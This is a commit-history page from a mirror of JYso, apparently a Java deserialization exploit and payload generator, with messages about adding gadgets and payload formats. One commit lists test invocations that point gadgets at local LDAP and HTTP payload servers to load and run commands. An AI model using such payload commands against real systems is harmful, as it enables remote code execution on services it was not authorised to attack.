archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-21 22:40:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity
70 Commits 2 Branches 10 Tags
f892540164e99f08b69916afc576205a7f1b8c51
Commit Graph
70 Commits
This Branch
This Branch
All Branches
Author SHA1 Message Date
qi4L f892540164 docs: update README.md 2 2024-09-15 18:12:15 +08:00
炁 5c2c1a86db Merge pull request #57 from Lya0/marshalsec 
增加Marshalsec output
 2024-09-15 16:44:46 +08:00
Lya0 983c9e1055 Update build.gradle 2024-09-15 16:37:10 +08:00
Lya0 eed218cc0c 增加 marshalsec 的output 
一些测试用例
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -kryo
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jk
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jy
-y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy
-y -g XBean  -p http://127.0.0.1:8080/ExecObject -js
-y -g LazySearchEnumeration  -p http://127.0.0.1:8080/ExecObject -js
-y -g Resin  -p http://127.0.0.1:8080/ExecObject -js
-y -g Groovy  -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -js
-y -g Rome  -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -ca
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -ca
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jk
-y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -jk
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk
-y -g SpringPropertyPathFactory -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk
 2024-09-15 16:30:26 +08:00
qi4L 95adfbb45c fix(Gadgets.java): _name Repair 2024-09-15 13:42:27 +08:00
qi4L 015ff5f2ae docs: updata README.md 1 2024-09-15 13:38:16 +08:00
qi4L 6ff3788b4d perf: remove out 2024-09-13 11:19:35 +08:00
qi4L 777f8d1a21 perf: remove gradle 2024-09-13 11:17:00 +08:00
qi4L fc1dbad002 fixed untracked files 2024-09-12 16:06:25 +08:00
qi4L 4422693e12 feat: add gitignore file 2024-09-12 15:59:39 +08:00
qi4L 084a09e012 perf: remove .idea and .gradle+ 2024-09-11 18:01:46 +08:00
qi4L 05eaceb155 perf: remove .idea and .gradle 2024-09-11 17:55:38 +08:00
qi4L 3f7148f93c perf(Starter.java): remove author 2024-09-11 10:53:30 +08:00
qi4L 8b502cb472 feat(Starter.java): add author 2024-09-11 10:49:32 +08:00
qi4L 33cc64d0ad feat(Starter.java): add logo 2024-09-11 10:47:46 +08:00
qi4L a6bbe67d9e feat(qscan.go): add logo 2024-09-11 10:46:10 +08:00
qi4L 54e5de4b0a +BUG 2024-09-09 22:32:17 +08:00
qi4L 99a640249f add ldaps++ 2024-09-01 11:21:06 +08:00
qi4L 05a86ce158 add ldaps 2024-09-01 11:07:55 +08:00
qi4L ef963e8568 ++++3 v1.3.3 2024-08-26 12:34:42 +08:00
qi4L 023319c864 ++++2 2024-08-26 12:29:48 +08:00
qi4L 48c03d08df ++++1 2024-08-26 12:10:08 +08:00
炁 1af4889b92 Merge pull request #53 from springkill/master 
add XStream suggestion
 2024-08-26 11:39:36 +08:00
炁 b0f7a7c309 Merge pull request #54 from unam4/7gadget 
add 7 gadget (原生tostring）
 2024-08-26 11:39:20 +08:00
Fw-fW-fw 3b84752c20 add Hibernate3JDBC (org.hibernate<=4.12可用) 2024-08-19 22:48:39 +08:00
Fw-fW-fw 2288a5eb85 add Hibernate3JDBC (org.hibernate<=4.12可用) 2024-08-19 22:42:26 +08:00
Fw-fW-fw 5633bb5095 add Hibernate3JDBC (org.hibernate<=4.12可用) 2024-08-19 22:32:59 +08:00
Fw-fW-fw 9f7788de7c 删除 gradle 2024-08-19 19:13:07 +08:00
Fw-fW-fw 53ee3c3311 groovy2 gadget反序列时触发，方便组合 2024-08-19 19:10:30 +08:00
Fw-fW-fw 9db31149d0 groovy2 gadget反序列时触发，方便组合 2024-08-19 19:06:59 +08:00
Fw-fW-fw 7d7128b4db add 7gadgets (降级groovyt适配新gadget) 2024-08-19 18:58:51 +08:00
Fw-fW-fw 5c766bfbf8 add 7gadgets (降级groovyt适配新gadget) 2024-08-16 22:58:15 +08:00
springkill f96a58d292 edit description. 2024-08-16 22:46:59 +08:00
Fw-fW-fw 115548a2d6 add 7gadgets (降级groovyt,hibernate适配新gadget) 2024-08-16 22:42:49 +08:00
springkill 4cf43d6260 Support xstream 2024-08-16 21:29:12 +08:00
Fw-fW-fw 5f37ed1abc add 7gadgets (降级groovyt,hibernate适配新gadget) 2024-08-16 21:05:10 +08:00
Fw-fW-fw a3999b8186 add 7gadgets (降级groovyt,hibernate适配新gadget) 2024-08-16 21:03:29 +08:00
qi4L 4bcce8789f base64编码输出Payload 2024-08-13 18:43:58 +08:00
qi4L 993a923828 修复hessian 2024-08-13 10:52:53 +08:00
qi4L ff8fe79cb7 hessian类型的Payload 2024-08-04 14:58:13 +08:00
qi4L 8e10aeacc1 hessian类型的Payload 2024-08-04 14:55:22 +08:00
炁 5084a9b89c Merge pull request #50 from springkill/master 
Add Gadgets
 2024-08-02 10:36:53 +08:00
springkill 5b7ebf3833 Add Gadgets 2024-08-02 09:58:53 +08:00
qi4L e7b282c231 Increase CC13 2024-07-27 15:56:38 +08:00
qi4L 27d53bc131 修复 Exploit v1.3.2 2024-07-24 15:38:01 +08:00
qi4L 72a91dd13f Add constructor 2024-05-29 16:13:04 +08:00
qi4L 751035cd18 重写TomcatEchoJndi + 2024-05-23 17:41:32 +08:00
qi4L 114eadcb13 重写TomcatEchoJndi 2024-05-23 17:41:09 +08:00
qi4L 521973522b re README +++4 2024-05-19 18:26:07 +08:00
qi4L 9a4d7452e5 re README +++4 2024-05-16 17:29:46 +08:00